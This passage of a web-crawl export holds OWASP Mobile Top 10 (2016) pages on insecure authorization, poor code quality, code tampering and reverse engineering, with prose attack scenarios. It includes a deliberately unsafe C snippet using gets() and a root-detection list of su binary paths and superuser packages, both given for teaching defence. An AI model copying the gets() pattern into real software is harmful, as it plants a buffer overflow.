or local administration functionality may result in destruction of systems or access to sensitive information.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nIn the event that a user (anonymous or verified) is able to execute over-privileged functionality, the business may experience the following impacts:\n\n- Reputational Damage;\n- Fraud; or\n- Information Theft.\n\n# Am I Vulnerable To ‘Insecure Authorization’?\n\nIt is important to recognize the difference between authentication and authorization. Authentication is the act of identifying an individual. Authorization is the act of checking that the identified individual has the permissions necessary to perform the act. The two are closely related as authorization checks should always immediately follow authentication of the an incoming request from a mobile device.\n\nIf an organization fails to authenticate and individual before executing an API endpoint requested from a mobile device, then the code automatically suffers from insecure authorization as well. It is essentially impossible for authorization checks to occur on an incoming request when the caller’s identity is not established.\n\nThere are a few easy rules to follow when trying to determine if a mobile endpoint is suffering from insecure authorization:\n\n- **Presence of Insecure Direct Object Reference (IDOR) vulnerabilities** - If you are seeing an Insecure Direct Object Reference Vulnerability (IDOR), the code is most likely not performing a valid authorization check; and\n- **Hidden Endpoints** - Typically, developers do not perform authorization checks on backend hidden functionality as they assume the hidden functionality will only be seen by someone in the right role;\n- **User Role or Permission Transmissions** - If the mobile app is transmitting the user’s roles or permissions to a backend system as part of a request, it is suffering from insecure authorization.\n\n# How Do I Prevent ‘Insecure Authorization’?\n\nIn order to avoid insecure authorization checks, do the following:\n\n- Verify the roles and permissions of the authenticated user using only information contained in backend systems. Avoid relying on any roles or permission information that comes from the mobile device itself;\n- Backend code should independently verify that any incoming identifiers associated with a request (operands of a requested operation) that come along with the identify match up and belong to the incoming identity;\n\n# Example Attack Scenarios\n\n**Scenario #1:** Insecure Direct Object Reference:\n\nA user makes an API endpoint request to a backend REST API that includes an actor ID and an oAuth bearer token. The user includes their actor ID as part of the incoming URL and includes the access token as a standard header in the request. The backend verifies the presence of the bearer token but fails to validate the actor ID associated with the bearer token. As a result, the user can tweak the actor ID and attain account information of other users as part of the REST API request.\n\n**Scenario #2:** Transmission of LDAP roles:\n\nA user makes an API endpoint request to a backend REST API that includes a standard oAuth bearer token along with a header that includes a list of LDAP groups that the user belongs to. The backend request validates the bearer token and then inspects the incoming LDAP groups for the right group membership before continuing on to the sensitive functionality. However, the backend system does not perform an independent validation of LDAP group membership and instead relies upon the incoming LDAP information coming from the user. The user can tweak the incoming header and report to be a member of any LDAP group arbitrarily and perform administrative functionality.\n\n# References\n\n- OWASP\n - [OWASP](https://www.owasp.org/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 5876, "slov": 866, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:38", "sha256": "24026527e0f7226cf4648c375cb161a80604cb36bcfe779ae9eec2ae6ae29e0b", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m7-client-code-quality", "titulek": "M7: Poor Code Quality | OWASP Foundation", "h1": "M7: Poor Code Quality", "popis": "M7: Poor Code Quality on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m7-client-code-quality", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M7: Poor Code Quality on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M7: Poor Code Quality | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m7-client-code-quality.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M7: Poor Code Quality"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Poor Code Quality’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Poor Code Quality’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M7: Poor Code Quality\n\n# Threat Agents\n\n**Application Specific**\n\nThreat Agents include entities that can pass untrusted inputs to method calls made within mobile code. These types of issues are not necessarily security issues in and of themselves but lead to security vulnerabilities. For example, buffer overflows within older versions of Safari (a poor code quality vulnerability) led to high risk drive-by Jailbreak attacks. Poor code-quality issues are typically exploited via malware or phishing scams.\n\n# Attack Vectors\n\n**Exploitability DIFFICULT**\n\nAn attacker will typically exploit vulnerabilities in this category by supplying carefully crafted inputs to the victim. These inputs are passed onto code that resides within the mobile device where exploitation takes place. Typical types of attacks will exploit memory leaks and buffer overflows.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability DIFFICULT**\n\nCode quality issues are fairly prevalent within most mobile code. The good news is that most code quality issues are fairly benign and result in bad programming practice. It is typically difficult to detect these types of issues through manual code review. Instead, attackers will use third-party tools that perform static analysis or perform fuzzing. These types of tools will typically identify memory leaks, buffer overflows, and other less severe issues that result in bad programming practice. Hackers with extreme low-level knowledge and expertise are able to effectively exploit these types of issues. The typical primary goal is to execute foreign code within the mobile code’s address space.\n\n# Technical Impacts\n\n**Impact MODERATE**\n\nMost exploitations that fall into this category result in foreign code execution or denial of service on remote server endpoints (and not the mobile device itself). However, in th event that buffer overflows/overruns do exist within the mobile device and the input can be derived from an external party, this could have a severely high technical impact and should be remediated.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact from this category of vulnerabilities varies greatly, depending upon the nature of the exploit. Poor code quality issues that result in remote code execution could lead to the following business impacts:\n\n- Information Theft;\n- Reputational Damage;\n- Intellectual Property Theft\n\nOther less severe technical issues that fall into this category may lead to degradations in performance, memory usage, or poor front-end architecture.\n\n# Am I Vulnerable To ‘Poor Code Quality’?\n\nThis is the catch-all for code-level implementation problems in the mobile client. That’s distinct from server-side coding mistakes. This captures the risks that come from vulnerabilities like buffer overflows, format string vulnerabilities, and various other code-level mistakes where the solution is to rewrite some code that’s running on the mobile device.\n\nThis is distinct from Improper Platform Usage because it usually refers to the programming language itself (e.g., Java, Swift, Objective C, JavaScript). A buffer overflow in C or a DOM-based XSS in a Webview mobile app would be code quality issues.\n\nThe key characteristic of this risk is that it’s code executing on the mobile device and the code needs to be changed in a fairly localised way. Fixing most risks requires code changes, but in the code quality case the risk comes from using the wrong API, using an API insecurely, using insecure language constructs, or some other code-level issue. Importantly: this is not code running on the server. This is a risk that captures bad code that executes on the mobile device itself.\n\n# How Do I Prevent ‘Poor Code Quality’?\n\nIn general, code quality issues can be avoided by doing the following:\n\n- Maintain consistent coding patterns that everyone in the organization agrees upon;\n- Write code that is easy to read and well-documented;\n- When using buffers, always validate that the the lengths of any incoming buffer data will not exceed the length of the target buffer;\n- Via automation, identify buffer overflows and memory leaks through the use of third-party static analysis tools; and\n- Prioritize solving buffer overflows and memory leaks over other ‘code quality’ issues.\n\n# Example Attack Scenarios\n\n**Scenario #1:** Buffer Overflow example:\n\n```\ninclude \n\n int main(int argc, char **argv)\n {\n char buf[8]; // buffer for eight characters\n gets(buf); // read from stdio (sensitive function!)\n printf(\"%s\\n\", buf); // print out data stored in buf\n return 0; // 0 as return value\n }\n```\n\nIn this example, taken from [this](https://www.owasp.org/index.php/Buffer_overflow_attack) page, we should avoid the use of the gets function to avoid a buffer overflow. This is an example of what most static analysis tools will report as a code quality issue.\n\n# References\n\n- OWASP\n - [Buffer Overflow Examples](https://www.owasp.org/index.php/Buffer_overflow_attack)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 5106, "slov": 760, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:39", "sha256": "5f5a1304a4a6278bef1195ffb08e8c413981018e4d4b2ef2426653f58bae8a9e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/Buffer_overflow_attack", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m8-code-tampering", "titulek": "M8: Code Tampering | OWASP Foundation", "h1": "M8: Code Tampering", "popis": "M8: Code Tampering on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m8-code-tampering", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M8: Code Tampering on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M8: Code Tampering | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m8-code-tampering.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M8: Code Tampering"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Code Tampering’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Code Tampering’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M8: Code Tampering\n\n# Threat Agents\n\n**Application Specific**\n\nTypically, an attacker will exploit code modification via malicious forms of the apps hosted in third-party app stores. The attacker may also trick the user into installing the app via phishing attacks.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nTypically, an attacker will do the following things to exploit this category:\n\n- Make direct binary changes to the application package’s core binary\n- Make direct binary changes to the resources within the application’s package\n- Redirect or replace system APIs to intercept and execute foreign code that is malicious\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nModified forms of applications are surprisingly more common than you think. There is an entire security industry built around detecting and removing unauthorized versions of mobile apps within app stores. Depending upon the approach taken to solving the problem of detecting code modification, organizations can have limited to highly successful ways of detecting unauthorized versions of code in the wild.\nThis category covers binary patching, local resource modification, method hooking, method swizzling, and dynamic memory modification.\n\nOnce the application is delivered to the mobile device, the code and data resources are resident there. An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application’s data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe impact from code modification can be wide ranging in nature, depending upon the nature of the modification itself. Typical types of impacts include the following:\n\n- Unauthorized new features;\n- Identity theft; or\n- Fraud.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact from code modification typically results in the following:\n\n- Revenue loss due to piracy; or\n- Reputational damage.\n\n# Am I Vulnerable To ‘Code Tampering’?\n\nTechnically, all mobile code is vulnerable to code tampering. Mobile code runs within an environment that is not under the control of the organization producing the code. At the same time, there are plenty of different ways of altering the environment in which that code runs. These changes allow an adversary to tinker with the code and modify it at will.\n\nAlthough mobile code is inherently vulnerable, it is important to ask yourself if it is worth detecting and trying to prevent unauthorized code modification. Apps written for certain business verticals (gaming for example) are much more vulnerable to the impacts of code modification than others (hospitality for example). As such, it is critical to consider the business impact before deciding whether or not to address this risk.\n\n# How Do I Prevent ‘Code Tampering’?\n\nThe mobile app must be able to detect at runtime that code has been added or changed from what it knows about its integrity at compile time. The app must be able to react appropriately at runtime to a code integrity violation.\n\nThe remediation strategies for this type of risk is outlined in more technical detail within the [OWASP Reverse Engineering and Code Modification Prevention Project](https://www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project).\n\n**Android Root Detection**\nTypically, an app that has been modified will execute within a Jailbroken or rooted environment. As such, it is reasonable to try and detect these types of compromised environments at runtime and react accordingly (report to the server or shutdown). There are a few common ways to detect a rooted Android device: Check for test-keys\n\n- Check to see if build.prop includes the line ro.build.tags=test-keys indicating a developer build or unofficial ROM\n\nCheck for OTA certificates\n\n- Check to see if the file /etc/security/otacerts.zip exists\n\nCheck for several known rooted apk’s\n\n- com.noshufou.android.su\n- com.thirdparty.superuser\n- eu.chainfire.supersu\n- com.koushikdutta.superuser\n\nCheck for SU binaries\n\n- /system/bin/su\n- /system/xbin/su\n- /sbin/su\n- /system/su\n- /system/bin/.ext/.su\n\nAttempt SU command directly\n\n- Attempt the to run the command su and check the id of the current user, if it returns 0 then the su command has been successful\n\n**iOS Jailbreak Detection**\n\n# Example Attack Scenarios\n\nThere are a number of counterfeit applications that are available across the app stores. Some of these contain malware payloads. Many of the modified apps contain modified forms of the original core binary and associated resources. The attacker re-packages these as a new application and released them into third-party stores.\n\n**Scenario #1:**\n\nGames are a particularly popular target to attack using this method. The attacker will attract people that are not interested in paying for any freemium features of the game. Within the code, the attacker short-circuits conditional jumps that detect whether an in-application purchase is successful. This bypass allows the victim to attain game artifacts or new abilities without paying for them. The attacker has also inserted spyware that will steal the identity of the user.\n\n**Scenario #2:**\n\nBanking apps are another popular target to attack. These apps typically process sensitive information that will be useful to an attacker. An attacker could create a counterfeit version of the app that transmits the user’s personally identifiable information (PII) along with username/password to a third-party site. This is reminiscent of the desktop equivalent of Zeus malware. This typically results in fraud against the bank.\n\n# References\n\n- OWASP\n - [OWASP Reverse Engineering and Code Modification Prevention Project](https://www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project)\n- External\n- OWASP\n - [OWASP Reverse Engineering and Code Modification Prevention Project](https://www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project)\n- External\n- [1] Arxan Research: [State of Security in the App Economy, Volume 2](https://www.arxan.com/assets/1/7/State_of_Security_in_the_App_Economy_Report_Vol._2.pdf) , November 2013:\n\n> “Adversaries have hacked 78 percent of the top 100 paid Android and iOS apps in 2013.”\n\n- [2] HP Research: [HP Research Reveals Nine out of 10 Mobile Applications Vulnerable to Attack](http://www8.hp.com/us/en/hp-news/press-release.html?id=1528865#.UuwZFPZvDi5) , 18 November 2013:\n\n> “86 percent of applications tested lacked binary hardening, leaving applications vulnerable to information disclosure, buffer overflows and poor performance. To ensure security throughout the life cycle of the application, it is essential to build in the best security practices from conception.”\n\n- [3] North Carolina State University: [Dissecting Android Malware: Characterization and Evolution](http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf) , 7 September 2011:\n\n> “Our results show that 86.0% of them (Android Malware) repackage legitimate apps to include malicious payloads; 36.7% contain platform-level exploits to escalate privilege; 93.0% exhibit the bot-like capability.”\n\n- [4] Tech Hive: [Apple Pulls Ripoff Apps from its Walled Garden](http://www.techhive.com/article/249310/apple_pulls_ripoff_apps_from_its_walled_garden.html) Feb 4th, 2012:\n\n> “While Apple is known for screening apps before they are allowed to sprout up in its walled garden, clearly fake apps do get in. Once they do, getting them out depends on developers who raise a fuss.”\n\n- [5] Tech Crunch: [Developer Spams Google Play With RipOffs of Well-Known Apps… Again](http://techcrunch.com/2014/01/02/developer-spams-google-play-with-ripoffs-of-well-known-apps-again/) , January 2 2014:\n\n> “It’s not uncommon to search the Google Play app store and find a number of knock-off or “fake” apps aiming to trick unsuspecting searchers into downloading them over the real thing.”\n\n- [6] Extreme Tech: [Chinese App Store Offers Pirated iOS Apps Without the Need To Jailbreak](http://www.extremetech.com/mobile/153849-chinese-app-store-offers-pirated-ios-apps-without-the-need-to-jailbreak) , April 19 2013:\n\n> “The site offers apps for free that would otherwise cost money, including big-name titles.”\n\n- [7] OWASP: [Architectural Principles That Prevent Code Modification or Reverse Engineering](https://www.owasp.org/index.php/Architectural_Principles_That_Prevent_Code_Modification_or_Reverse_Engineering), January 11th 2014.\n- [8] Gartner report: Avoiding Mobile App Development Security Pitfalls, 24 May 2013:\n\n> “For critical applications, such as transactional ones and sensitive enterprise applications, hardening should be used.”\n\n- [9] Gartner report: Emerging Technology Analysis: Mobile Application Shielding, March 26th, 2013:\n\n> “As more regulated and sensitive data applications move to mobile platforms the need to increase data protection increases. Mobile application shielding presents the opportunity to security providers to offer higher data protection standards to mobile platforms that exceed mobile OS security.”\n\n- [10] Gartner report: Proliferating Mobile Transaction Attack Vectors and What to Do About Them, March 1st, 2013:\n\n> “Use mobile application security testing services and self-defending application utilities to help prevent hacking attempts.”\n\n- [11] Gartner report: Select a Secure Mobile Wallet for Proximity, March 1st, 2013:\n\n> “Application hardening can fortify sensitive business code against hacking attempts, such as reverse engineering”\n\n- [12] Forrester paper: Choose The Right Mobile Development Solutions For Your Organization, May 6th 2013:\n\n> “5 Key Protections: Data Protection, App Compliance, App-Level Threat Defense, Security Policy Enforcement, App Integrity”\n\n- [13] John Wiley and Sons, Inc: [iOS Hacker’s Handbook](http://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123), Published May 2012, [ISBN 1118204123](https://wiki.owasp.org/index.php/Special:BookSources/1118204123).\n- [14] McGraw Hill Education: [Mobile Hacking Exposed](http://mobilehackingexposed.com/), Published July 2013, [ISBN 0071817018](https://wiki.owasp.org/index.php/Special:BookSources/0071817018).\n- [15] Publisher Unannounced: [Android Hacker’s Handbook](http://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X), To Be Published April 2014.\n- [16] Software Development Times: [More than 5,000 apps in the Google Play Store are copied APKs, or ‘thief-ware’](http://sdt.bz/66393#ixzz2sHa7dFMp), November 20 2013:\n\n> “In most cases, the 2,140 copycat developers that were found reassembled the apps almost identically, adding new advertising SDKs to siphon profits away from the original developers.\n\n- [17] InfoSecurity Magazine: [Two Thirds of Personal Banking Apps Found Full of Vulnerabilities](http://www.infosecurity-magazine.com/view/36376/two-thirds-of-personal-banking-apps-found-full-of-vulnerabilities/) , January 3 2014:\n\n> “But one of his more worrying findings came from disassembling the apps themselves … what he found was hardcoded development credentials within the code. An attacker could gain access to the development infrastructure of the bank and infest the application with malware causing a massive infection for all of the application’s users.”\n\n- [18] InfoSecurity Magazine: [Mobile Malware Infects Millions; LTE Spurs Growth](http://www.infosecurity-magazine.com/view/36686/mobile-malware-infects-millions-lte-spurs-growth/) , January 29 2014:\n\n> “Number of mobile malware samples is growing at a rapid clip, increasing by 20-fold in 2013… It is trivial for an attacker to hijack a legitimate Android application, inject malware into it and redistribute it for consumption. There are now binder kits available that will allow an attacker to automatically inject malware into an existing application”\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 12021, "slov": 1615, "odkazu": 50, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:40", "sha256": "00fc704320039063b0930fe99491e1fe675f1df6762d9b40ff6b401ee0bcc901", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project", "https://www.arxan.com/assets/1/7/State_of_Security_in_the_App_Economy_Report_Vol._2.pdf", "http://www8.hp.com/us/en/hp-news/press-release.html?id=1528865", "http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf", "http://www.techhive.com/article/249310/apple_pulls_ripoff_apps_from_its_walled_garden.html", "http://techcrunch.com/2014/01/02/developer-spams-google-play-with-ripoffs-of-well-known-apps-again/", "http://www.extremetech.com/mobile/153849-chinese-app-store-offers-pirated-ios-apps-without-the-need-to-jailbreak", "https://www.owasp.org/index.php/Architectural_Principles_That_Prevent_Code_Modification_or_Reverse_Engineering", "http://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123", "https://wiki.owasp.org/index.php/Special:BookSources/1118204123", "http://mobilehackingexposed.com/", "https://wiki.owasp.org/index.php/Special:BookSources/0071817018", "http://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X", "http://sdt.bz/66393", "http://www.infosecurity-magazine.com/view/36376/two-thirds-of-personal-banking-apps-found-full-of-vulnerabilities/", "http://www.infosecurity-magazine.com/view/36686/mobile-malware-infects-millions-lte-spurs-growth/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m9-reverse-engineering", "titulek": "M9: Reverse Engineering | OWASP Foundation", "h1": "M9: Reverse Engineering", "popis": "M9: Reverse Engineering on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2016-risks/m9-reverse-engineering", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M9: Reverse Engineering on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M9: Reverse Engineering | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2016-risks/m9-reverse-engineering.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M9: Reverse Engineering"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Reverse Engineering’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Reverse Engineering’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M9: Reverse Engineering\n\n# Threat Agents\n\n**Application Specific**\n\nAn attacker will typically download the targeted app from an app store and analyze it within their own local environment using a suite of different tools.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nAn attacker must perform an analysis of the final core binary to determine its original string table, source code, libraries, algorithms, and resources embedded within the app. Attackers will use relatively affordable and well-understood tools like IDA Pro, Hopper, otool, strings, and other binary inspection tools from within the attacker’s environment.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nGenerally, all mobile code is susceptible to reverse engineering. Some apps are more susceptible than others. Code written in languages / frameworks that allow for dynamic introspection at runtime (Java, .NET, Objective C, Swift) are particularly at risk for reverse engineering. Detecting susceptibility to reverse engineering is fairly straight forward. First, decrypt the app store version of the app (if binary encryption is applied). Then, use the tools outlined in the “Attack Vectors” section of this document against the binary. Code will be susceptible if it is fairly easy to understand the app’s controlflow path, string table, and any pseudocode/source-code generated by these tools.\n\n# Technical Impacts\n\n**Impact Moderate**\n\nAn attacker may exploit reverse engineering to achieve any of the following:\n\n- Reveal information about back end servers;\n- Reveal cryptographic constants and ciphers;\n- Steal intellectual property;\n- Perform attacks against back end systems; or\n- Gain intelligence needed to perform subsequent code modification.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impacts from reverse engineering are quite varied. They include the following:\n\n- Intellectual Property theft;\n- Reputational Damage;\n- Identity Theft; or\n- Compromise of Backend Systems.\n\n# Am I Vulnerable To ‘Reverse Engineering’?\n\nGenerally, most applications are susceptible to reverse engineering due to the inherent nature of code. Most languages used to write apps today are rich in metadata that greatly aides a programmer in debugging the app. This same capability also grealy aides an attacker in understanding how the app works.\nAn app is said to be susceptible to reverse engineering if an attacker can do any of the following things:\n\n- Clearly understand the contents of a binary’s string table\n- Accurately perform cross-functional analysis\n- Derive a reasonably accurate recreation of the source code from the binary\nAlthough most apps are susceptible to reverse engineering, it’s important to examine the potential business impact of reverse engineering when considering whether or not to mitigate this risk. See the examples below for a small sampling of what can be done with reverse engineering on its own.\n\n# How Do I Prevent ‘Reverse Engineering’?\n\nIn order to prevent effective reverse engineering, you must use an obfuscation tool. There are many free and commercial grade obfuscators on the market. Conversely, there are many different deobfuscators on the market. To measure the effectiveness of whatever obfuscation tool you choose, try deobfuscating the code using tools like IDA Pro and Hopper.\n\nA good obfuscator will have the following abilities:\n\n- Narrow down what methods / code segments to obfuscate;\n- Tune the degree of obfuscation to balance performance impact;\n- Withstand de-obfuscation from tools like IDA Pro and Hopper;\n- Obfuscate string tables as well as methods\n\n# Example Attack Scenarios\n\n**Scenario #1**: String Table Analysis:\n\nThe attacker runs ‘strings’ against the unencrypted app. As a result of the string table analysis, the attacker discovers a hardcoded connectivity string that contains authentication credentials to a backend database. The attacker uses those credentials to gain access to the database. The attacker steals a vast array of PII data about the app’s users.\n\n**Scenario #2**: Cross-Functional Analysis:\n\nThe attacker uses IDA Pro against an unencrypted app. As a result of the string table analysis combined with functioanl cross-referencing, the attacker discovers Jailbreak detection code. The attacker uses this knowledge in a subequent code-modification attack to disable jailbreak detection within the mobile app. The attacker then deploys a version of the app that exploits method swizzling to steal customer information.\n\n**Scenario #3**: Source Code Analysis:\n\nConsider a banking Android application. The APK file can be easily extracted using 7zip/Winrar/WinZip/Gunzip. Once extracted, the attacker has manifest file, assets, resources and most importantly classes.dex file.\n\nThen using Dex to Jar converter, an attacker can easily convert it to jar file. In next step, Java Decompiler (like JDgui) will provide you the code.\n\n# References\n\n- OWASP\n - [OWASP Reverse Engineering and Code Modification Prevention Project](https://www.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project)\n- External\n- [1] Arxan Research: [State of Security in the App Economy, Volume 2](https://www.arxan.com/assets/1/7/State_of_Security_in_the_App_Economy_Report_Vol._2.pdf) , November 2013:\n\n> “Adversaries have hacked 78 percent of the top 100 paid Android and iOS apps in 2013.”\n\n- [2] HP Research: [HP Research Reveals Nine out of 10 Mobile Applications Vulnerable to Attack](http://www8.hp.com/us/en/hp-news/press-release.html?id=1528865#.UuwZFPZvDi5) , 18 November 2013:\n\n> “86 percent of applications tested lacked binary hardening, leaving applications vulnerable to information disclosure, buffer overflows and poor performance. To ensure security throughout the life cycle of the application, it is essential to build in the best security practices from conception.”\n\n- [3] North Carolina State University: [Dissecting Android Malware: Characterization and Evolution](http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf) , 7 September 2011:\n\n> “Our results show that 86.0% of them (Android Malware) repackage legitimate apps to include malicious payloads; 36.7% contain platform-level exploits to escalate privilege; 93.0% exhibit the bot-like capability.”\n\n- [4] Tech Hive: [Apple Pulls Ripoff Apps from its Walled Garden](http://www.techhive.com/article/249310/apple_pulls_ripoff_apps_from_its_walled_garden.html) Feb 4th, 2012:\n\n> “While Apple is known for screening apps before they are allowed to sprout up in its walled garden, clearly fake apps do get in. Once they do, getting them out depends on developers who raise a fuss.”\n\n- [5] Tech Crunch: [Developer Spams Google Play With RipOffs of Well-Known Apps… Again](http://techcrunch.com/2014/01/02/developer-spams-google-play-with-ripoffs-of-well-known-apps-again/) , January 2 2014:\n\n> “It’s not uncommon to search the Google Play app store and find a number of knock-off or “fake” apps aiming to trick unsuspecting searchers into downloading them over the real thing.”\n\n- [6] Extreme Tech: [Chinese App Store Offers Pirated iOS Apps Without the Need To Jailbreak](http://www.extremetech.com/mobile/153849-chinese-app-store-offers-pirated-ios-apps-without-the-need-to-jailbreak) , April 19 2013:\n\n> “The site offers apps for free that would otherwise cost money, including big-name titles.”\n\n- [7] OWASP: [Architectural Principles That Prevent Code Modification or Reverse Engineering](https://www.owasp.org/index.php/Architectural_Principles_That_Prevent_Code_Modification_or_Reverse_Engineering), January 11th 2014.\n- [8] Gartner report: Avoiding Mobile App Development Security Pitfalls, 24 May 2013:\n\n> “For critical applications, such as transactional ones and sensitive enterprise applications, hardening should be used.”\n\n- [9] Gartner report: Emerging Technology Analysis: Mobile Application Shielding, March 26th, 2013:\n\n> “As more regulated and sensitive data applications move to mobile platforms the need to increase data protection increases. Mobile application shielding presents the opportunity to security providers to offer higher data protection standards to mobile platforms that exceed mobile OS security.”\n\n- [10] Gartner report: Proliferating Mobile Transaction Attack Vectors and What to Do About Them, March 1st, 2013:\n\n> “Use mobile application security testing services and self-defending application utilities to help prevent hacking attempts.”\n\n- [11] Gartner report: Select a Secure Mobile Wallet for Proximity, March 1st, 2013:\n\n> “Application hardening can fortify sensitive business code against hacking attempts, such as reverse engineering”\n\n- [12] Forrester paper: Choose The Right Mobile Development Solutions For Your Organization, May 6th 2013:\n\n> “5 Key 